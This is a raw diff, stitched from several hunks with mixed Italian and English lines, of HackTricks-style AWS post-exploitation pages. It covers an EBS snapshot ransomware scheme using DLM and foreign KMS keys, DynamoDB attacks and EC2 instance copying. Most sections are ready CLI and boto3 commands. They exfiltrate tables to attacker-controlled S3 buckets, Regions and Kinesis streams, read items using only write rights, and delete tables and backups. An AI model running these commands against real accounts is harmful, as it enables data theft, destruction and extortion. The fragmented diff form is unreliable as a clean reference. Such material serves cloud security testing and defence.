Un attacco ransomware può essere eseguito cifrando il maggior numero possibile di EBS volumes e poi cancellando le EC2 instances correnti, gli EBS volumes e gli snapshots. Per automatizzare questa attività malevola si può impiegare Amazon DLM, cifrando gli snapshots con una KMS key proveniente da un altro AWS account e trasferendo gli snapshots cifrati in un account diverso. In alternativa, si possono trasferire snapshots non cifrati in un account gestito dall'attaccante e poi cifrarli lì. Sebbene non sia semplice cifrare direttamente EBS volumes o snapshots esistenti, è possibile farlo creando un nuovo volume o snapshot.
|
||||
|
||||
Per prima cosa si utilizza un comando per raccogliere informazioni sui volumi, come instance ID, volume ID, encryption status, attachment status e volume type.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Successivamente si creerà la lifecycle policy. Questo comando utilizza la DLM API per impostare una lifecycle policy che crea automaticamente snapshot giornalieri dei volumi specificati a un orario designato. Applica inoltre tag specifici agli snapshots e copia i tag dai volumi agli snapshots. Il file policyDetails.json include i dettagli della lifecycle policy, come i target tags, lo schedule, l'ARN della KMS key opzionale per la cifratura e l'account di destinazione per la condivisione degli snapshots, che verrà registrato nei CloudTrail logs della vittima.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
Un modello per il documento di policy può essere visto qui:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - DynamoDB Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## DynamoDB
|
||||
|
||||
Per ulteriori informazioni consulta:
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
An attacker with this permissions will be able to **ottenere elementi dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Ciò significa che devi conoscere le chiavi primarie (puoi conoscerle recuperando i metadati della tabella (`describe-table`).
|
||||
Un attacker con questi permessi sarà in grado di **ottenere elementi dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadati della tabella (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** privesc indiretta mediante individuazione di informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Simile alle autorizzazioni precedenti** questa permette a un potenziale attaccante di leggere valori da una sola tabella fornendo la chiave primaria della voce da recuperare:
|
||||
**Simile alle autorizzazioni precedenti** questa permette a un potenziale attacker di leggere i valori da una sola tabella, data la chiave primaria della voce da recuperare:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Con questo permesso è anche possibile usare il metodo **`transact-get-items`** come:
|
||||
Con questa autorizzazione è anche possibile usare il metodo **`transact-get-items`** come:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Impatto potenziale:** Privesc indiretto ottenibile individuando informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** Indirect privesc individuando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Simile alle autorizzazioni precedenti** questa permette a un potenziale attaccante di leggere i valori da una sola tabella data la chiave primaria della voce da recuperare. Permette di usare un [sottoinsieme di confronti](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve essere presente) è "EQ", quindi non puoi usare un confronto per recuperare l'intero DB in una singola richiesta.
|
||||
**Simile alle precedenti autorizzazioni**, questa permette a un potenziale attaccante di leggere i valori di una sola tabella fornendo la chiave primaria della voce da recuperare. Permette di usare un [sottoinsieme di confronti](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve essere presente) è "EQ", quindi non puoi usare un confronto per ottenere l'intero database in una richiesta.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto potenziale:** privesc indiretto ottenendo informazioni sensibili nella tabella
|
||||
**Potenziale impatto:** Privesc indiretto localizzando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Puoi usare questo permesso per **effettuare il dump dell'intera tabella facilmente**.
|
||||
Puoi usare questo permesso per **dump l'intera tabella facilmente**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Impatto potenziale:** Privesc indiretto individuando informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Puoi usare questo permesso per **eseguire il dump dell'intera tabella facilmente**.
|
||||
Puoi usare questo permesso per **effettuare il dump dell'intera tabella facilmente**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Questo permesso consente anche di eseguire `batch-execute-statement` come:
|
||||
Questa permission consente inoltre di eseguire `batch-execute-statement` come:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
ma devi specificare la chiave primaria con un valore, quindi non è molto utile.
|
||||
ma è necessario specificare la primary key con un valore, quindi non è così utile.
|
||||
|
||||
**Impatto potenziale:** Privesc indiretto individuando informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Questa autorizzazione permetterà a un attacker di **esportare l'intera tabella in un S3 bucket** a sua scelta:
|
||||
Questo permesso consentirà a un attaccante di **esportare l'intera tabella in un S3 bucket** a sua scelta:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,34 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Nota che per far funzionare ciò la tabella deve avere point-in-time-recovery abilitato, puoi verificare se la tabella lo ha con:
|
||||
Nota che, perché questo funzioni, la tabella deve avere point-in-time-recovery abilitato. Puoi verificare se la tabella lo ha con:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Se non è abilitato, dovrai **abilitarlo** e per farlo ti serve il permesso **`dynamodb:ExportTableToPointInTime`**:
|
||||
Se non è abilitato, dovrai **abilitarlo** e per questo hai bisogno della **`dynamodb:ExportTableToPointInTime`** permission:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Impatto potenziale:** Indirect privesc localizzando informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** privesc indiretto ottenuto localizzando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
|
||||
Con queste autorizzazioni, un attaccante sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di verificare le **informazioni** dai backup che **non potrebbero più trovarsi nella tabella di produzione**.
|
||||
Con queste autorizzazioni, un attaccante sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di controllare **informazioni** dai backup che n**on fossero più nella tabella di produzione**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Potenziale impatto:** privesc indiretto individuando informazioni sensibili nel backup della tabella
|
||||
**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nel backup della tabella
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Questa permission permette agli utenti di aggiungere un **nuovo elemento alla tabella o sostituire un elemento esistente** con un nuovo elemento. Se un elemento con la stessa chiave primaria esiste già, l'**intero elemento sarà sostituito** dal nuovo elemento. Se la chiave primaria non esiste, un nuovo elemento con la chiave primaria specificata sarà **creato**.
|
||||
Questo permesso permette agli utenti di aggiungere un **nuovo item alla tabella o sostituire un item esistente** con un nuovo item. Se esiste già un item con la stessa chiave primaria, l'**intero item verrà sostituito** con il nuovo item. Se la chiave primaria non esiste, verrà **creato** un nuovo item con la chiave primaria specificata.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -203,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB
|
||||
**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilities/bypasses tramite la possibilità di aggiungere/modificare dati in una tabella DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Questa autorizzazione consente agli utenti di **modificare gli attributi esistenti di un elemento o aggiungere nuovi attributi a un elemento**. Non **sostituisce** l'intero elemento; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo elemento** con la chiave primaria specificata e imposterà gli attributi indicati nell'espressione di aggiornamento.
|
||||
Questa autorizzazione consente agli utenti di **modificare gli attributi esistenti di un item o aggiungere nuovi attributi a un item**. Non **sostituisce** l'intero item; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo item** con la chiave primaria specificata e imposterà gli attributi indicati nell'update expression.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -243,34 +242,34 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Sfruttamento di ulteriori vulnerabilità/bypasses permettendo di aggiungere/modificare dati in una tabella DynamoDB
|
||||
**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Un attaccante con questa autorizzazione può **eliminare una tabella DynamoDB, causando perdita di dati**
|
||||
Un attacker con questa permission può **cancellare una tabella DynamoDB, causando perdita di dati**
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Impatto potenziale**: perdita di dati e interruzione dei servizi che si basano sulla tabella eliminata.
|
||||
**Impatto potenziale**: Perdita di dati e interruzione dei servizi che dipendono dalla tabella eliminata.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Un attaccante con questa autorizzazione può **eliminare un backup di DynamoDB, causando potenzialmente la perdita di dati in caso di uno scenario di disaster recovery**.
|
||||
Un attacker con questa autorizzazione può **eliminare un backup di DynamoDB, causando potenzialmente perdita di dati in caso di scenario di ripristino dopo un disastro**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: Perdita di dati e impossibilità di ripristinare da un backup durante uno scenario di disaster recovery.
|
||||
**Impatto potenziale**: Perdita di dati e incapacità di ripristinare da un backup durante uno scenario di disaster recovery.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Verificare se questo funziona effettivamente
|
||||
> TODO: Testare se questo funziona effettivamente
|
||||
|
||||
Un attacker con queste autorizzazioni può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a streammare i cambiamenti, e poi accedere allo stream per monitorare i cambiamenti alla tabella in tempo reale**. Questo permette all'attaccante di monitorare e exfiltrate data changes, potenzialmente portando a data leakage.
|
||||
Un attacker con queste autorizzazioni può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a streamare le modifiche, e poi accedere allo stream per monitorare le modifiche alla tabella in tempo reale**. Questo permette all'attacker di monitor and exfiltrate data changes, potentially leading to data leakage.
|
||||
|
||||
1. Abilitare uno stream su una tabella DynamoDB:
|
||||
```bash
|
||||
@@ -285,7 +284,7 @@ aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Ottieni lo shard iterator usando lo stream ARN:
|
||||
3. Ottieni il shard iterator usando l'ARN dello stream:
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
@@ -293,17 +292,17 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Usa lo shard iterator per accedere ed esfiltrare dati dallo stream:
|
||||
4. Usa il shard iterator per accedere e exfiltrate i dati dallo stream:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Potenziale impatto**: Monitoraggio in tempo reale e data leak delle modifiche della tabella DynamoDB.
|
||||
**Impatto potenziale**: Monitoraggio in tempo reale e data leakage delle modifiche alla tabella DynamoDB.
|
||||
|
||||
### Leggere item tramite `dynamodb:UpdateItem` e `ReturnValues=ALL_OLD`
|
||||
|
||||
Un attaccante con solo `dynamodb:UpdateItem` su una tabella può leggere gli item senza alcuna delle normali autorizzazioni di lettura (`GetItem`/`Query`/`Scan`) eseguendo un aggiornamento innocuo e richiedendo `--return-values ALL_OLD`. DynamoDB restituirà l'immagine completa precedente all'aggiornamento dell'item nel campo `Attributes` della risposta (questo non consuma RCUs).
|
||||
Un attaccante con solo `dynamodb:UpdateItem` su una tabella può leggere elementi senza nessuna delle consuete autorizzazioni di lettura (`GetItem`/`Query`/`Scan`) eseguendo un aggiornamento innocuo e richiedendo `--return-values ALL_OLD`. DynamoDB restituirà l'intera immagine pre-aggiornamento dell'elemento nel campo `Attributes` della risposta (questo non consuma RCUs).
|
||||
|
||||
- Permessi minimi: `dynamodb:UpdateItem` sulla tabella/chiave target.
|
||||
- Prerequisiti: Devi conoscere la chiave primaria dell'item.
|
||||
@@ -319,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
La risposta della CLI includerà un blocco `Attributes` contenente l'intero item precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura partendo da un accesso in sola scrittura.
|
||||
La risposta della CLI includerà un blocco `Attributes` contenente l'intero item precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura da un accesso esclusivamente in scrittura.
|
||||
|
||||
**Impatto potenziale:** Leggere item arbitrari da una tabella avendo solo permessi di scrittura, permettendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono conosciute.
|
||||
**Impatto potenziale:** Leggere item arbitrari da una tabella con solo permessi di scrittura, permettendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono note.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Esfiltrazione stealth aggiungendo una nuova Region replica a una DynamoDB Global Table (versione 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attaccante, dalla quale l'attaccante può leggere tutti gli item.
|
||||
Esfiltrazione stealth aggiungendo una nuova replica Region a una DynamoDB Global Table (versione 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attaccante, dalla quale l'attaccante può leggere tutti gli item.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -355,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permessi: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` sulla tabella target. Se una CMK viene usata nella replica, potrebbero essere necessari permessi KMS per quella chiave.
|
||||
Permessi: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` sulla tabella di destinazione. Se viene utilizzata una CMK nella replica, potrebbero essere necessari permessi KMS per quella chiave.
|
||||
|
||||
Impatto potenziale: Replica dell'intera tabella in una Region controllata dall'attaccante, con conseguente esfiltrazione furtiva dei dati.
|
||||
Impatto potenziale: Replica dell'intera tabella verso una Region controllata dall'attaccante che consente una stealthy data exfiltration.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (lettura tramite condizione fallita + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Un attaccante con privilegi di scrittura transazionale può esfiltrare tutti gli attributi di un item esistente eseguendo un `Update` all'interno di `TransactWriteItems` che fa intenzionalmente fallire una `ConditionExpression` impostando contemporaneamente `ReturnValuesOnConditionCheckFailure=ALL_OLD`. In caso di fallimento, DynamoDB include gli attributi precedenti nei motivi di cancellazione della transazione, trasformando di fatto l'accesso in sola scrittura in un accesso in lettura alle chiavi mirate.
|
||||
Un attaccante con privilegi di scrittura transazionali può exfiltrate gli attributi completi di un item esistente eseguendo un `Update` all'interno di `TransactWriteItems` che fallisce intenzionalmente una `ConditionExpression` mentre imposta `ReturnValuesOnConditionCheckFailure=ALL_OLD`. In caso di fallimento, DynamoDB include gli attributi precedenti nei motivi di cancellazione della transazione, trasformando efficacemente l'accesso in sola scrittura in accesso in lettura alle chiavi mirate.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -410,19 +409,19 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permessi: `dynamodb:TransactWriteItems` sulla tabella target (e sull'item sottostante). Non sono necessari permessi di lettura.
|
||||
Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
|
||||
|
||||
Impatto potenziale: Leggere elementi arbitrari (per chiave primaria) da una tabella usando solo privilegi di scrittura transazionale tramite i motivi di cancellazione restituiti.
|
||||
Potential Impact: Leggere elementi arbitrari (per chiave primaria) da una table usando solo privilegi di write transazionali tramite i returned cancellation reasons.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
Bypassare le restrizioni di lettura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` su un attributo a bassa entropia, impostare quell'attributo a un valore costante tra gli item, quindi `Query` l'indice per recuperare gli item completi. Questo funziona anche se `Query`/`Scan` sulla tabella base è negato, purché tu possa interrogare l'ARN dell'indice.
|
||||
Evitare le restrizioni di lettura creando una Global Secondary Index (GSI) con `ProjectionType=ALL` su un attributo a bassa entropia, impostare quell'attributo a un valore costante su tutti gli item, quindi `Query` l'index per recuperare gli item completi. Questo funziona anche se `Query`/`Scan` sulla base table è negato, purché sia possibile interrogare l'index ARN.
|
||||
|
||||
- Permessi minimi:
|
||||
- `dynamodb:UpdateTable` sulla tabella target (per creare il GSI con `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` sulle chiavi della tabella target (per impostare l'attributo indicizzato su ogni item).
|
||||
- `dynamodb:Query` sull'ARN della risorsa dell'indice (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Passaggi (PoC in us-east-1):
|
||||
```bash
|
||||
@@ -462,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Impatto potenziale:** Esfiltrazione completa della tabella interrogando un GSI appena creato che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate.
|
||||
**Impatto potenziale:** Full table exfiltration interrogando una GSI appena creata che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Esfiltrazione continua via Kinesis Data Streams)
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
|
||||
|
||||
Abusare delle destinazioni di streaming Kinesis di DynamoDB per esfiltrare continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attacker. Una volta abilitato, ogni evento INSERT/MODIFY/REMOVE viene inoltrato in quasi tempo reale allo stream senza richiedere permessi di lettura sulla tabella.
|
||||
Abusando dei DynamoDB Kinesis streaming destinations per exfiltrate continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attaccante. Una volta abilitato, ogni evento `INSERT`/`MODIFY`/`REMOVE` viene inoltrato quasi in tempo reale allo stream senza richiedere permessi di lettura sulla tabella.
|
||||
|
||||
Permessi minimi (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
Permessi minimi (attaccante):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` sulla tabella target
|
||||
- Opzionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` per monitorare lo stato
|
||||
- Permessi di lettura sul Kinesis stream appartenente all'attacker per consumare i record: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
- Permessi di lettura sul Kinesis stream posseduto dall'attaccante per consumare i record: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -531,8 +530,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**Potential Impact:** Esfiltrazione continua, quasi in tempo reale, delle modifiche alla tabella verso uno stream Kinesis controllato dall'attaccante senza operazioni di lettura dirette sulla tabella.
|
||||
**Impatto potenziale:** Continuo, quasi in tempo reale exfiltration delle modifiche alla tabella verso uno stream Kinesis controllato dall'attaccante senza operazioni di lettura dirette sulla tabella.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
Per ulteriori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,18 +12,18 @@ Per ulteriori informazioni controlla:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
Il mirroring del traffico VPC **duplica il traffico in entrata e in uscita per le istanze EC2 all'interno di un VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato verrebbe comunemente inviato a qualcosa come un sistema di rilevamento delle intrusioni di rete (IDS) per analisi e monitoraggio.\
|
||||
Un attaccante potrebbe abusare di questo per catturare tutto il traffico e ottenere informazioni sensibili da esso:
|
||||
Il VPC traffic mirroring **duplica il traffico in ingresso e in uscita per EC2 instances all'interno di un VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato viene comunemente inviato a qualcosa come un sistema di rilevamento intrusioni di rete (IDS) per analisi e monitoraggio.\
|
||||
Un attaccante potrebbe abusarne per catturare tutto il traffico e ottenere informazioni sensibili:
|
||||
|
||||
Per ulteriori informazioni controlla questa pagina:
|
||||
Per maggiori informazioni guarda questa pagina:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copia dell'istanza in esecuzione
|
||||
### Copiare un'istanza in esecuzione
|
||||
|
||||
Le istanze di solito contengono qualche tipo di informazione sensibile. Ci sono diversi modi per entrare (controlla [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Tuttavia, un altro modo per controllare cosa contiene è **creare un'AMI e avviare una nuova istanza (anche nel tuo stesso account) da essa**:
|
||||
Le istanze di solito contengono qualche tipo di informazione sensibile. Ci sono diversi modi per entrarci (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Tuttavia, un altro modo per verificare cosa contengono è **creare un AMI ed avviare una nuova istanza (anche nel proprio account) da essa**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,43 +49,107 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Gli snapshot sono backup dei volumi**, che di solito conterranno **informazioni sensibili**, quindi controllarli dovrebbe rivelare queste informazioni.\
|
||||
Se trovi un **volume senza uno snapshot** puoi: **Creare uno snapshot** e eseguire le seguenti azioni o semplicemente **montarlo in un'istanza** all'interno dell'account:
|
||||
**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\
|
||||
If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
{{#endref}}
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. This allows full offline forensics or data theft while leaving the instance networking untouched.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
